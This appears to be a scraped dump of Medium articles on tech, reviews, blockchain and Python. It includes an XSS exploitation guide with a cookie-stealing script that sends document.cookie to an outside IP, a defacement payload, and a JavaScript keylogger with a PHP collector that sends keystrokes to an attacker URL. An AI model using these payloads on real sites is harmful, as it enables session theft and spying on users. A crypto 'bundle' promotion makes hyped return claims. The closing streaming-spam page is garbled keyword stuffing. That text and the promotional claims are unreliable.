So that would be the biggest thing — find what you love and do it, regardless of what you think is right or wrong about it. If you do that, it’s got to be an interesting journey.
Know another woman or nonbinary person whose name we should drop? Tweet us at @HubSpotDev with ideas. | https://medium.com/hubspot-product/name-dropping-michelle-okeeffe-ceo-of-engaging-io-84f81b933c6a | ['Hubspot Product Team'] | 2021-03-15 13:55:01.931000+00:00 | ['Leadership', 'Women In Tech', 'Technology Strategy', 'CEO', 'Technology'] |
2,212 | Year In Technology Review 2020 | In the entertainment category, Mandalorian would have to be one of the best shows to watch in 2020. It just doesn’t disappoint if you are a Star Wars fan. Jon Favreau is a great director and it shows in the entire production. In shock value, Netflix’s Tiger King is probably one documentary series I didn’t expect … to even watch. Yet I watched it and actually finished the whole series. I guess it must be due to not having anything else to do during lockdown, but it was for the most part entertaining indeed.
Another notable show really worth watching was season 3 of Ozark on Netflix. You really have to wrap your head around the twisted plot and unexpected turn of events in this series. Jason Bateman and Laura Linney really make the Byrdes seem like a real family next door, but with a hidden problem. The Witcher is another good show to watch on Netflix, based on the video game of the same name.
It is also worth mentioning the Joe Rogan Experience is now on Spotify. That was perhaps one of the biggest media stories of 2020. Did Joe sell out by leaving Youtube and becoming exclusive on Spotify? It doesn’t seem so, but there have been strange incidents and conflict with Spotify staff regarding JRE content. It is not really meant to spread any sort of hate or misinformation, but more about presenting a different perspective from the norm. Hopefully JRE continues to deliver interesting talks without any influence from the platform or else in 2021 it will be a disappointment.
Disappointments and Failures
Let’s get straight to the most disappointing app of 2020 … Quibi. How they managed to squander $1.75B in funding is beyond explanation, along with the talents that could have made it the next influencer platform. Their short video format was also ideal for on-the-go millennials who consume content from their smartphones or the gadget savvy kids of this generation. Quibi was also under the management of a dream team consisting of Dreamworks co-founder Jeffrey Katzenberg and former Hewlett-Packard CEO Meg Whitman.
The pandemic would have been a good time to use this app, since many people were out of work and just staying home. Using Quibi could have filled that void, but instead it turned out to be a short lived project. Perhaps it was because users were not too interested in the content and therefore not willing to pay as subscribers or poor exposure from marketing that should have done more to promote the app. For whatever reason, this has to be the epic tech/media fail story of 2020. | https://medium.com/hd-pro/year-in-technology-review-2020-c8e259ee40eb | ['Vincent Tabora'] | 2020-12-28 06:11:20.803000+00:00 | ['Gadgets', 'Cameras', 'Entertainment', 'Technology', 'Photography'] |
2,213 | Most Honest & Helpful Reviews for Bose 700 Active Noise-Cancelling Headphones — Curated by Rosi | Although the headphones l ook good and feel fantastic on, I was very disappointed with the functionality . I loaded the Bose Music app on my iPhone and then followed the instructions to pair the headphones. The Bose Music app worked well until the firmware on headphones automatically updated and installed. After that, game over! The Bose Music app could not pair with the headphones … Went on the Bose website and tried to do a factory reset, but that was useless . Bose customer service was also useless .
Great audio, connectivity and comfort issues
These work great for this “new normal” of teleworking with multiple people in the house. Being able to turn the level of noise cancellation to three different levels … is great. Audio quality seems very good. I have some occasional connectivity issues. … What happens is when the phone is dialing out I hear the dialing etc… through the headphones, but as soon as someone picks up it flips over to regular phone audio unless I change it back to bluetooth manually. This happens maybe 10% of the time. I have a very large head … I have to have the headphones maximally extended to fit (which is OK) but after a couple of hours of continual use the cartilage around my ears hurt and I can get a bit of a headache … they are not at all comfortable to drop them down to wear them around your neck when not in use … the earpieces apply pressure to the side/front of my neck. Not comfortable and feels like they could fall off.
Rating: 4 / 5
By The Dude, sourced from BestBuy | https://medium.com/@rosi.reviews/most-honest-helpful-reviews-for-bose-700-active-noise-cancelling-headphones-curated-by-rosi-6ad8a3706553 | ['Rosi Reviews'] | 2021-09-09 23:53:30.712000+00:00 | ['Startup', 'Mobile App Development', 'Headphones', 'Online Shopping', 'Technology'] |
2,214 | How to Find Data Science Jobs During COVID-19 | Photo by Clem Onojeghuo on Unsplash
It’s no secret that the novel coronavirus 2019 (COVID-19) outbreak is deeply affecting the lives of millions around the world, both directly and indirectly. The United States alone has shed nearly 10 million jobs in the past two weeks due to the COVID-19 shutdown.
Several conferences, meetups, classes, concerts, and other cultural events have been postponed, canceled, or moved online where appropriate. And there are data science, data engineering, and data analytics positions among them as well that have moved online.
However, surveys indicate that the data teams are long yet to see widespread layoffs or furloughs at this time, particularly among larger companies. So, strike at the jobs while it lasts?
Data is inevitable to any company at any given point of time and in situations like this, Data positions at beginner level might be a stack, but you just cannot give up. We all fathom the uncertainty there is right now about what the national and global impact will be on hiring, but there are ways you can stay positive and proactive about job searching during this tumultuous time.
I have been reading a lot of articles these days about how are job transitioning these days or how to job search during the pandemic, how to stay sane. In this story, I have put together 7 things to do right now to continue your Data Science job search. Here we go…
1. Strengthen your connections
Invest time in connecting to people from your area of interest, Data Leads, data teams at companies that are hiring. Take out a minimum of one or two hours connecting with people on professional networks.
While you might be extremely tempted to ask for referrals, take a moment to understand their body of work, how are things at their firm, how does the near future look like, the job requirements and expectations.
Tap your time into your network and their network to find if they know anyone who’s hiring or any organizations with open roles. Seek like-minded professionals that you might have always admired to spark conversations about possible opportunities and virtual networking events and chats. Participate in more online events, workshops, labs to see if there exists a chance to work it out to an interview
PRO TIP: Join professional groups online like the ones on Facebook and LinkedIn to expand your job search and network. During this lockdown, it’s the perfect opportunity to make new, authentic connections and revive the old ones. | https://towardsdatascience.com/how-to-find-data-science-jobs-during-covid-19-895433e9c777 | ['Rashi Desai'] | 2020-05-05 02:10:11.393000+00:00 | ['Coronavirus', 'Data Science', 'Jobs', 'Technology', 'Data'] |
2,215 | 5 Useful Tips With Python Dictionaries | 1. Create Dictionaries With Keys Specified
When you write a Python script, you may need to define some global variables. However, when you update these variables in your functions somewhere later, you have to be explicit about these variables being global. A trivial example is shown below:
Global variables
I’m not a big fan of this coding pattern involving the use of the global keyword. When you have multiple global keywords across multiple functions, it’s tedious work. Instead, you can use a dictionary object to capture all related variables. In this case, you can update the dictionary directly because it’ll be located by your interpreter globally. Here’s the modified code:
Dictionary of parameters
As you can notice in the code snippet, I use the fromkeys class method to instantiate a dict object. There are a few advantages to using this instantiation method:
Your code is more readable because it’s clear to the readers what parameters you’re using with this script. In this case, we only have param0 and param1 .
and . When you get the values of these keys of the dictionary using the square bracket, you won’t get the KeyError exception because all of the keys that we specified have the None as their initial values, as shown below: | https://medium.com/better-programming/5-useful-tips-with-python-dictionaries-74747a4fd172 | ['Yong Cui'] | 2020-12-17 17:42:59.398000+00:00 | ['Programming', 'Technology', 'Artificial Intelligence', 'Python', 'Machine Learning'] |
2,216 | Why New Crypto Customers Should Purchase The Dacxi Bundle | Most people have heard of Bitcoin but for people new to crypto, the challenges of figuring out how to actually buy and store it are considerable. With just 1% of the planet currently in crypto assets, there’s incredible potential in the years ahead. We want to make it as easy as possible for new people to gain exposure to crypto as an asset class — and that’s why we’ve created the Dacxi Bundle.
Here’s why you should consider purchasing in the Dacxi Bundle:
It’s a Bundle of the top Crypto Assets
The Dacxi Bundle is a diversified portfolio of the top three, most trusted crypto assets (Bitcoin, Ethereum and Litecoin) plus Dacxi’s DAC Coin. Each asset is the leader in their category. The bundle is designed to minimise risk and maximise returns for new crypto investors looking for the simplest way to participate in the next crypto boom.
It’s Easy to Buy
Simply go to dacxi.com/bundle and follow the easy process. With a minimum purchase of $100, you’re in control. Purchase as much or as little as you like.
You’re Instantly Diversified
Many tech and financial thought leaders are now recommending that savvy investors allocate a portion of their portfolio (1% to 5%) to Bitcoin and crypto assets. Why? Because they offer a powerful combination — the ability to generate significant long-term returns and strong diversification benefits given their low correlation to traditional asset classes. As global property and share market growth stalls, it’s smart to diversify your portfolio. For customer who are new to crypto, the easiest way to achieve this is a Dacxi Bundle.
No Fees
The Dacxi Bundle contains no fees. Yes, you read that right. There are no one-off or regular fees. It’s completely free to buy. The exact amount of crypto you will get for your money is based on the current market price and will be confirmed when your order is processed.
Your Crypto Is Secure
After purchase, your Dacxi Bundle is stored in your Dacxi Exchange wallets. These are protected by our security protocols. You can either store them safely in your Dacxi wallets, or withdraw them to another wallet at any time.
You Can Sell Whenever You Want
You are free to store your crypto in your exchange wallets, remove them to a hardware wallet, or sell them individually at any time.
Past Returns Have Been Excellent
While past performance is not indicative of future returns, even during 2018’s bear market, if you’d bought a $1000 Dacxi Bundle on Jan 1 2016 your bundle would be worth approximately $55,209 today. Buy a bundle, make a bundle?
We’ve Even Got A Compelling Bonus Offer
It’s an exciting time. Crypto is fast becoming recognised as a legitimate new asset class with incredible potential. If you’re ready to be an early purchaser, the Dacxi Bundle is for you. Plus if you buy before December 31, we’ll give you 50% extra DAC Coins as a bonus!
Get The Bundle
https://dacxi.com/bundle | https://medium.com/dacxi/why-new-crypto-investors-should-purchase-the-dacxi-bundle-9adadfcb8a4a | [] | 2020-01-24 01:33:01.568000+00:00 | ['Crypto', 'Finance', 'Cryptocurrency', 'Technology', 'Bitcoin'] |
2,217 | Ethereum Will Be Enterprise Ready Sooner Than You Think! | FinTech & The Digital Economy: Leveraging Key Enabling Technologies Including AI, Blockchain & WealthTech
Blockchain technology will create more than $176 billion dollars worth of business value by 2025 and $3.1 trillion by 2030. Gartner Blockchain Technology Report, 2019
Many large companies are working on implementing Blockchain and it’s estimated that over 95% of these projects will be built on Ethereum. Enterprise companies have chosen Ethereum because Ethereum has the core capabilities needed to build enterprise applications… today. Almost all of the pieces are in place. To build enterprise Blockchain applications, companies need the ability to store immutable data on the Blockchain (✓) and a way for customers to view and interact with that data with authentication (✓), auditability (✓), and verification (✓). These core abilities are already implemented by Ethereum. All that is needed is a way to efficiently start building and deploying enterprise applications.
So, what’s the holdup?
Developers, Developers, Developers
In September of 2000 Microsoft CEO Steve Ballmer memorably told his audience that the key to Microsoft’s future success was d evelopers, developers, developers and so it is with Ethereum. Developers are critical for the success of enterprise Ethereum. Currently Ethereum is programmed primarily using the Solidity programming language, which was originally conceived in 2014. There is a dearth of Solidity programmers who also have enterprise development experience. This shortage is holding up development of Ethereum based enterprise solutions.
200,000 Solidity developers vs 10 million Java developers
It’s estimated that there are only about 200,000 Solidity developers in the world, and the majority of them have little or no enterprise experience. Compare that to the estimated 10 million Java developers many of whom have solid enterprise experience. That’s a 50x difference in number of Java programmers vs Solidity programmers. The scarcity of enterprise knowledgeable Solidity programmers has made it difficult for enterprises to move forward with Blockchain projects.
Almost all enterprise companies use Java as their preferred language. This is because Java is the only programming language that provides the high performance, reliability, and scalability required by large companies. Fortune 500 companies already have large teams of Java developers who have both professional programming experience and domain specific experience. In 2018 and 2019, 28% of executives surveyed by Deloitte sited lack of in-house capabilities as the main barrier to blockchain adoption.
The biggest challenge that enterprises face is implementing new technology. Enterprise Blockchain applications are so new that experienced developers don’t exist at scale.
When developers lack business experience they don’t understand the processes that they are modeling. Even if programmers know how to code, they don’t know what to code. Engineers who develop software without understanding the business requirements usually end up with buggy software. This is a problem for companies because bugs in enterprise applications and business logic can have serious real life consequences.
There are developments on the near horizon that will provide ways for Enterprises to tap into their own existing pool of talent, and open up the floodgates for a vast array of Ethereum based applications. Ethereum will be Enterprise ready sooner than you think.
This article was written by Margaretta Colangelo. Margaretta is Co-founder & CEO of Jthereum an enterprise Blockchain company that makes it possible for Java developers to write smart contracts in Java and interact with existing contracts without having to learn Solidity. | https://medium.com/@margarettacolangelo/ethereum-will-be-enterprise-ready-sooner-than-you-think-ff0e4e577710 | ['Margaretta Colangelo'] | 2020-12-12 21:11:42.808000+00:00 | ['Java', 'Blockchain', 'Blockchain Technology', 'Blockchain Development', 'Ethereum'] |
2,218 | Land titles on the blockchain as an appropriate use of Blockchain | Paper-title → Digitally stored on blockchain
There is a significant rise in blockchain projects being launched on a daily basis. However, a lot are either “scams” or inappropriate use of blockchain in an attempt to raise capital.
Recently I was called a “hater” for pointing out the total lack of any value proposition on a “gimmicky” marketing campaign that engaged a sports celebrity who has minimal or zero involvement in blockchain as a promoter/adviser/ and an ambassador. It was also very interesting that the only value proposition quoted was the businesses’s compliance with the financial regulators. I found it bizarre that a bare minimal “legal requirement” for a financial product, is quoted to me as a value proposition.
Hence my decision to write a series of articles to address a major issue in the industry — “Appropriate use case of Blockchain”.
Below is an assessment of Land titles being recorded on blockchain as an appropriate use case in a step by step systematised procedure. Please feel free to comment if you can see any areas to improve.
Question 1: Assess whether blockchain can help solve for a use case
1.1 Which use case are you analysing?
Copy use case name here: Distributed ledger — Land titles on the blockchain
1.2 Key criteria:
1. Is there a predictable, repeatable process that lends itself well to automation?
YES: Each time the land titles are exchanged between two parties, there is a buyer and a seller. There are also third parties such as banks, a land registry and lawyers involved making the process take too long and costly. This can be automated, and costs can be drastically reduced while number of parties involved reduced.
2. Is there an ongoing or long-running transaction or process, rather than a process that only occurs once?
YES: The process is long and tedious and repeats itself for each transaction. The transaction extends further in to the future for the asset with multiple asset transfers between different owners.
3. Are there multiple stakeholders in this process or value chain?
YES: The value chain contains multiple stakeholders in the process. Examples include government departments, financial institutions, lawyers, buyers and sellers etc. This can be minimised as some stakeholders are mainly 3rd parties that facilitate the process and charge a fee.
4. Is the role of reconciling disparate data usually played by one party or a limited number of parties?
YES: The role of reconciling disparate data is played by the land registry department of the country or state. However this is an extremely lengthy and inefficient process globally.
5. Is there an element of value transfer?
YES: The transfer of value here is the ownership of the land when transferred from the seller to the buyer. If the paper copy or the centrally stored record is destroyed in a natural disaster the landowner will find it difficult to prove their ownership, hence the use of a blockchain record.
6. Is there value in an immutable record? Or is an immutable record a requirement?
YES: The immutability of the transfer of land titles are a requirement. It proves the chain of ownership and its legitimacy and authenticity through time. There are examples of corrupt governments forcefully obtaining land and simply adjusting title records as they see fit. Blockchain will make the transfer process transparent and auditable.
Question 2: Investigate the most important factors for applying blockchain to the use case
Protocol layer
● Is it possible to use public blockchains, or is there a defined need for a private implementation?
● What are the design expectations regarding speed, programmability, or payment functionality?
● Do you have developer resources available or is the protocol you’re using supported by a robust, sustainable open-source developer community with access to resources?
A public blockchain will enable the transactions to be transparent, auditable and visible to the public. This will reduce disputes in ownership and/or the fraudulent activities such as corrupt governments forcefully claiming private land.
Sweden and Georgia are currently implementing a distributed ledger for land titles. The Georgian blockchain application however is said to use a private blockchain to register the titles and a public bitcoin blockchain to verify the transactions. This highlights a need for some functionalities such as reverting transactions and modifying balances for land title ledgers. Such an example would be an entity calming ownership of some land that does not belong to any individual.
The speed of most public blockchains should be sufficient for a land titles ledger. Due to the quantity of data and maintenance issues a certain degree of programming capability might be required to create a new layer of data encoding if the transactions extend beyond limits. A tokenisation strategy is required to enable transactions. There is the difficult task of associating the digital token with the asset creating a security token.
The developer resources available for the product may not be an issue as this is very likely to be a government supported project with significant capital available to build new resources if required. If, however, the protocol layer needs to be supported by a sustainable open-source developer community then the use of bitcoin or the Etherium blockchains are more appropriate.
Network layer
● Who needs to run a node? Who has read access? Who has write access?
● What are the technology integration requirements?
● What are the data storage requirements regarding archiving and regulation?
If a public blockchain such as Bitcoin or Etherium is used, there are many thousands of nodes already available and established scattered around the globe. Every node on this network will have access to read and write transactions. However, if a private blockchain is used then read and write access are restricted to permissioned parties only. The nodes in the network for the private blockchain will be assigned by a regulator and will likely to be localised, and the regulator will run several nodes to allow for consensus.
In the case of the Georgian land title blockchain, the private blockchain will entail a network of nodes assigned by the government and the public blockchain that verifies the transactions will run via the bitcoin network’s current nodes. In this case the write access will be restricted to government owned and controlled nodes and the read access will be permission-less and visible to public.
The data storage on the networking layer is arranged via a hash mechanism. A third party cannot derive any meaningful information from the data without a specific key that enables them to decrypt the data. However, each territory may have different applicable laws. This will create an issue with the use of public blockchains given each node could be in a different geography subject to different laws and enforcement. For the purpose of complying with regulations the geographical positioning of the nodes will need to be considered.
Application layer
● Who is going to use the application? What are the implications for user experience and design?
● What is the existing organisational structure, and what behavioural patterns do users have today? How does this product or service fit into their existing workflow?
● Are there any behavioural or organisational changes that will be necessary to implement this use case?
The users of this application will include buyers and sellers in the case of transactions, or other stakeholders such as the government land registry department who will need to verify, confirm and recognize the ownership claims.
For buyers and sellers of a land title this will streamline their transaction. It will eliminate the time consuming and costly efforts of securing titles and proving ownership. Sellers can use the application to show an authentic proof of ownership and a buyer can use the application to locate, secure and validate the titles. Both parties can lodge a notice of the transaction through the application and complete the transfer instantaneously. The land registry can also view and approve the transaction and ownership as there is an immutable record of the title stored on the blockchain ledger. The design of the application will need to consider functionalities to fulfil the above objectives of all parties.
The current structures of the title registries create communication complexities between multiple departments when validating title ownerships. The application must streamline the current workflow with efficient and instantaneous access to the title data and integrate into the current operating software.
The main behavioural changes required will be the overhaul of the need for a physical signature and implement the acceptance of the security and validity of the blockchain transaction with no physical signatures. On the application layer this may include multiple security keys and private keys for each user to authenticate their transactions as valid.
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References
https://cointelegraph.com/news/georgia-records-100000-land-titles-on-bitcoin-blockchain-bitfury
https://www.forbes.com/sites/laurashin/2017/02/07/the-first-government-to-secure-land-titles-on-the-bitcoin-blockchain-expands-project/#4c7daa314dcd
https://qz.com/947064/sweden-is-turning-a-blockchain-powered-land-registry-into-a-reality/
https://cointelegraph.com/news/swedish-government-land-registry-soon-to-conduct-first-blockchain-property-transaction
https://www.infosys.com/Oracle/white-papers/Documents/integrating-blockchain-erp.pdf
http://ica-it.org/pdf/Blockchain_Landregistry_Report.pdf
https://www.quora.com/In-a-private-Blockchain-where-is-the-Blockchain-actually-hosted
https://hackernoon.com/heres-how-i-built-a-private-blockchain-network-and-you-can-too-62ca7db556c0
https://medium.com/@wmougayar/tokenomics-a-business-guide-to-token-usage-utility-and-value-b19242053416
https://www.ohmcoin.org/article.php/masternode-pose-vs-mining-pow
https://lunyr.com/article/Blockchain_Registries
https://hbr.org/2017/01/the-truth-about-blockchain
https://www2.deloitte.com/content/dam/Deloitte/us/Documents/financial-services/us-dcfs-blockchain-in-cre-the-future-is-here.pdf
https://chromaway.com/papers/Blockchain_Landregistry_Report_2017.pdf
https://www.elra.eu/wp-content/uploads/2017/02/10.-Jacques-Vos-Blockchain-based-Land-Registry.pdf | https://medium.com/blockchain-strategy-and-use-cases/land-titles-on-the-blockchain-as-an-appropriate-use-of-blockchain-d52b0b5898dd | ['Gayan Samarakoon'] | 2020-01-30 12:32:57.507000+00:00 | ['Bitcoin', 'Blockchain', 'Blockchain Technology', 'Blockchain Startup'] |
2,219 | Top 5 ways to exploit a Cross-Site Scripting (XSS) vulnerability | Introduction to Cross-Site Scripting (XSS)
In this article, we will discuss Cross-Site Scripting (XSS) vulnerability, how to find one and present 5 creative ways to demonstrate its impact by exploiting it.
Cross-Site Scripting (XSS) and the various types of it
It is a web-based vulnerability in which an attacker can inject malicious JavaScript code into the application, which will be later executed.
There are multiple types of this vulnerability (based on how the malicious scripts are stored and executed):
Stored/Persistent XSS: malicious scripts are stored in the application, for example in a comment section. Reflected/Non-persistent XSS: malicious scripts are returned back to the user, for example in a search query. DOM-Based/Client-Side XSS: malicious scripts are injected in the Document Object Model, being executed on the client-side and the webserver response isn’t modified. Self-XSS: the victim is tricked to run malicious scripts on their side, for example in their web developer console.
How to find a Cross-Site Scripting (XSS) in a web application
Identify all the user inputs in the application, then play with them. Send malicious scripts inside the input, see how the server responds, try to bypass the restrictions such as tag removal, encoding or character.
Also, a good practice besides the manual testing will be automated payload testing (which can be done with many tools, such as BurpSuite or OWASP ZAP).
Top 5 creative ways to exploit a Cross-Site Scripting (XSS)
Let’s discuss together 5 ways to demonstrate the severity and impact of a Cross-Site Scripting vulnerability.
#1: Stealing Cookies
Let’s suppose we have a vulnerable comments section of a blog, where an attacker can insert a malicious XSS payload. If he/she will provide the below input, it will be stored in the comments section, and any user which sees it, will have her/his cookies stolen.
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>
#2: Open Redirection
You can redirect users to any chosen domain with the following XSS payload (used mostly in phishing schemes):
#3: Website Defacement
Defacement is the technique used by hackers to change the website’s page to the one chosen by the attacker, which usually contains a message that starts with “HACKED BY….”.
You can deface a website with you own designed image using the below code:
<script>document.body.background="ATTACKER'S IMAGE URL";</script>
#4: Keylogger
You can capture a website user’s keystrokes by injecting a JavaScript keylogger through a Cross-Site Scripting (XSS) vulnerability.
On the victim’s side:
var buffer = [];
var attacker = ' var buffer = [];var attacker = ' <a href="http://ATTACKER'S" class="dm ip" rel="noopener nofollow">http://ATTACKER'S</a> WEBSITE/?msg=' document.onkeypress = function(e) {
var timestamp = Date.now() | 0;
var stroke = {
k: e.key,
t: timestamp
};
buffer.push(stroke);
} window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(JSON.stringify(buffer));
new Image(.src = attacker + data;
buiffer = [];
}
}, 200);
</script>
On the attacker’s side:
<?php
if(!empty($_GET['key'])) {
$logfile = fopen('captured.txt', 'a+');
fwrite($logfile, $_GET['key']);
fclose($logfile);
}
?>
#5: Malware
XSS vulnerabilities are basically represented by a JavaScript malicious input being parsed into the application, and executed on the client-side. So, why there can’t be a possibility for the attackers to inject malware or adware that is written in JavaScript? I will attach a list of links with JS-based malware samples:
Thanks very much for your attention, and wish you all the best! | https://medium.com/@corneacristian/top-5-ways-to-exploit-a-cross-site-scripting-xss-vulnerability-f03459ebbd8a | ['Cristian Cornea'] | 2020-12-06 12:29:55.096000+00:00 | ['Bug Bounty', 'Information Technology', 'Cybersecurity', 'Hacking', 'Web Development'] |
2,220 | BIoT: Real examples of work of our system | The development of the main core and payment channels of our system is brought to the state where everyone can test our solutions. More information about our project in the first article. Therefore, the time has come to move from words to action — we want to show the real workings of our system. To this end, we constructed two DIY projects: ‘Acquisition of activity’ and ‘Payment per use’.
Project #1 — Acquisition of activity
For the first project we took a simple idea — buying something through our system, by using payment channels. In this situation, we have taken the use case of purchasing led lights of different colors, when you click on the buttons.
Devices for DIY #1
For realization, we needed two “Raspberry Pi-3 B”: the first device— buys, the second device— sells. And also other details that connect and enliven the devices of the project.
Watch this video to see it in action:
Source code: https://github.com/BIoTws/DIY-1_Acquisition_of_activity
Project #2 —Payment per use
Our second project is an idea that can be widely used in a real-life environment — payment per use. The essence of this is that payment goes while something is been using. In our case we took the ‘Parking’ use case, where the payment goes per unit of time using the Parking Place.
The car, before entering the Parking, scans the RFID-card, after that the payment channel opens and allows access to the Parking Place — payment begins to arrive. When the car leaves the Parking, it scans the RFID-card again, then the payment channel closes and the system allows the car to leave the Parking.
Watch this video to see it in action
Source code: https://github.com/BIoTws/DIY-2_Pay_per_use | https://medium.com/hackernoon/biot-real-examples-of-work-of-our-system-20ed741c74a1 | [] | 2018-06-15 11:43:34.298000+00:00 | ['Bitcoin', 'Blockchain', 'IoT', 'Cryptocurrency', 'Technology'] |
2,221 | S1,E10 || Power Book II: Ghost (Series 1, Episode 10) Online 1080p-HD | ⭐ Watch Power Book II: Ghost Season 1 Episode 10 Full Episode, Power Book II: Ghost Season 1 Episode 10 Full Watch Free, Power Book II: Ghost Episode 10,Power Book II: Ghost STARZ, Power Book II: Ghost Eps. 10,Power Book II: Ghost ENG Sub, Power Book II: Ghost Season 1, Power Book II: Ghost Series 1,Power Book II: Ghost Episode 10, Power Book II: Ghost Season 1 Episode 10, Power Book II: Ghost Full Streaming, Power Book II: Ghost Download HD, Power Book II: Ghost All Subtitle, Watch Power Book II: Ghost Season 1 Episode 10 Full Episodes
Film, also called movie, motion picture or moving picture, is a visual art-form used to simulate experiences that communicate ideas, stories, perceptions, feelings, beauty, or atmosphere through the use of moving images. These images are generally accompanied by sound, and more rarely, other sensory stimulations.[10] The word “cinema”, short for cinematography, is ofSTARZ used to refer to filmmaking and the film Power Book II: Ghost, and to the art form that is the result of it.
❏ STREAMING MEDIA ❏
Streaming media is multimedia that is constantly received by and presented to an end-user while being delivered by a provider. The verb to stream refers to the process of delivering or obtaining media in this manner.[clarification needed] Streaming refers to the delivery method of the medium, rather than the medium itself. Distinguishing delivery method from the media distributed applies specifically to telecommunications networks, as most of the delivery systems are either inherently streaming (e.g. radio, television, streaming apps) or inherently non-streaming (e.g. books, video cassettes, audio CDs). There are challenges with streaming conSTARZt on the Internet. For example, users whose Internet connection lacks sufficient bandwidth may experience stops, lags, or slow buffering of the conSTARZt. And users lacking compatible hardware or software systems may be unable to stream certain conSTARZt.
Live streaming is the delivery of Internet conSTARZt in real-time much as live television broadcasts conSTARZt over the airwaves via a television signal. Live internet streaming requires a form of source media (e.g. a video camera, an audio interface, screen capture software), an encoder to digitize the conSTARZt, a media publisher, and a conSTARZt delivery network to distribute and deliver the conSTARZt. Live streaming does not need to be recorded at the origination point, although it frequently is.
Streaming is an alternative to file downloading, a process in which the end-user obtains the entire file for the conSTARZt before watching or lisSTARZing to it. Through streaming, an end-user can use their media player to start playing digital video or digital audio conSTARZt before the entire file has been transmitted. The term “streaming media” can apply to media other than video and audio, such as live closed captioning, ticker tape, and real-time text, which are all considered “streaming text”.
❏ COPYRIGHT CONSTARZT ❏
Copyright is a type of intellectual property that gives its owner the exclusive right to make copies of a creative work, usually for a limited time.[10][10][10][10][10] The creative work may be in a literary, artistic, educational, or musical form. Copyright is inSTARZded to protect the original expression of an idea in the form of a creative work, but not the idea itself.[10][10][10] A copyright is subject to limitations based on public interest considerations, such as the fair use doctrine in the United States.
Some jurisdictions require “fixing” copyrighted works in a tangible form. It is ofSTARZ shared among multiple authors, each of whom holds a set of rights to use or license the work, and who are commonly referred to as rights holders.[citation needed][10][1][1][1] These rights frequently include reproduction, control over derivative works, distribution, public performance, and moral rights such as attribution.[1]
Copyrights can be granted by public law and are in that case considered “territorial rights”. This means that copyrights granted by the law of a certain state, do not exSTARZd beyond the territory of that specific jurisdiction. Copyrights of this type vary by country; many countries, and sometimes a large group of countries, have made agreements with other countries on procedures applicable when works “cross” national borders or national rights are inconsisSTARZt.[1]
Typically, the public law duration of a copyright expires 1 to 10 years after the creator dies, depending on the jurisdiction. Some countries require certain copyright formalities[10] to establishing copyright, others recognize copyright in any completed work, without a formal registration.
It is widely believed that copyrights are a must to foster cultural diversity and creativity. However, Parc argues that contrary to prevailing beliefs, imitation and copying do not restrict cultural creativity or diversity but in fact support them further. This argument has been supported by many examples such as Millet and Van Gogh, Picasso, Manet, and Monet, etc.[1]
❏ GOODS OF SERVICES ❏
Credit (from Latin credit, “(he/she/it) believes”) is the trust which allows one party to provide money or resources to another party wherein the second party does not reimburse the first party immediately (thereby generating a debt), but promises either to repay or return those resources (or other materials of equal value) at a later date.[10] In other words, credit is a method of making reciprocity formal, legally enforceable, and exSTARZsible to a large group of unrelated people.
The resources provided may be financial (e.g. granting a loan), or they may consist of goods or services (e.g. consumer credit). Credit encompasses any form of deferred payment.[10] Credit is exSTARZded by a creditor, also known as a lender, to a debtor, also known as a borrower.
‘Power Book II: Ghost’ Challenges Asian Americans in Hollywood to Overcome ‘Impossible Duality’ STARZween China, U.S.
STARZ’s live-action “Power Book II: Ghost” was supposed to be a huge win for under-represented groups in Hollywood. The $10 million-budgeted film is among the most expensive ever directed by a woman, and it features an all-Asian cast — a first for productions of such scale.
Despite well-inSTARZtioned ambitions, however, the film has exposed the difficulties of representation in a world of complex geopolitics. STARZ primarily cast Asian rather than Asian American stars in lead roles to appeal to Chinese consumers, yet Chinese viewers rejected the movie as inauthentic and American. Then, politics ensnared the production as stars Liu Yifei, who plays Power Book II: Ghost, and Donnie Yen professed support for Hong Kong police during the brutal crackdown on protesters in 11010. Later, STARZ issued “special thanks” in the credits to government bodies in China’s Xinjiang region that are directly involved in perpetrating major human rights abuses against the minority Uighur population.
“Power Book II: Ghost” inadverSTARZtly reveals why it’s so difficult to create multicultural conSTARZt with global appeal in 2020. It highlights the vast disconnect STARZween Asian Americans in Hollywood and Chinese nationals in China, as well as the exSTARZt to which Hollywood fails to acknowledge the difference STARZween their aesthetics, tastes and politics. It also underscores the limits of the American conversation on representation in a global world.
In conversations with sePower Book II: Ghostl Asian-American creatives, Variety found that many feel caught STARZween fighting against underrepresentation in Hollywood and being accidentally complicit in China’s authoritarian politics, with no easy answers for how to deal with the moral questions “Power Book II: Ghost” poses.
“When do we care about representation versus fundamental civil rights? This is not a simple question,” says Bing Chen, co-founder of Gold House, a collective that mobilizes the Asian American community to help diverse films, including “Power Book II: Ghost,” achieve opening weekend box office success via its #GoldOpen movement. “An impossible duality faces us. We absolutely acknowledge the terrible and unacceptable nature of what’s going on over there [in China] politically, but we also understand what’s at stake on the Power Book II: Ghost side.”
The film leaves the Asian American community at “the intersection of choosing STARZween surface-level representation — faces that look like ours — versus values and other cultural nuances that don’t reflect ours,” says Lulu Wang, director of “The Farewell.”
In a business in which past box office success determines what future projects are bankrolled, those with their eyes squarely on the prize of increasing opportunities for Asian Americans say they feel a responsibility to support “Power Book II: Ghost” no matter what. That support is ofSTARZ very personal amid the Power Book II: Ghost’s close-knit community of Asian Americans, where people don’t want to tear down the hard work of peers and Power Book II: Ghost.
Others say they wouldn’t have given STARZ their $1 if they’d known about the controversial end credits.
“‘Power Book II: Ghost’ is actually the first film where the Asian American community is really split,” says sociologist Nancy Wang Yuen, who examines racism in Hollywood. “For people who are more global and consume more global news, maybe they’re thinking, ‘We shouldn’t sell our soul in order to get affirmation from Hollywood.’ But we have this scarcity mentality.
“I felt like I couldn’t completely lambast ‘Power Book II: Ghost’ because I personally felt solidarity with the Asian American actors,” Yuen continues. “I wanted to see them do well. But at what cost?”
This scarcity mentality is particularly acute for Asian American actors, who find roles few and far STARZween. Lulu Wang notes that many “have built their career on a film like ‘Power Book II: Ghost’ and other crossovers, because they might not speak the native language — Japanese, Chinese, Korean or Hindi — to actually do a role overseas, but there’s no role being writSTARZ for them in America.”
Certainly, the actors in “Power Book II: Ghost,” who have seen major career breakthroughs tainted by the film’s political backlash, feel this acutely. “You have to understand the tough position that we are in here as the cast, and that STARZ is in too,” says actor Chen Tang, who plays Power Book II: Ghost’s army buddy Yao.
There’s not much he can do except keep trying to nail the roles he lands in hopes of paving the way for others. “The more I can do great work, the more likely there’s going to be somebody like me [for kids to look at and say], ‘Maybe someday that could be me.’”
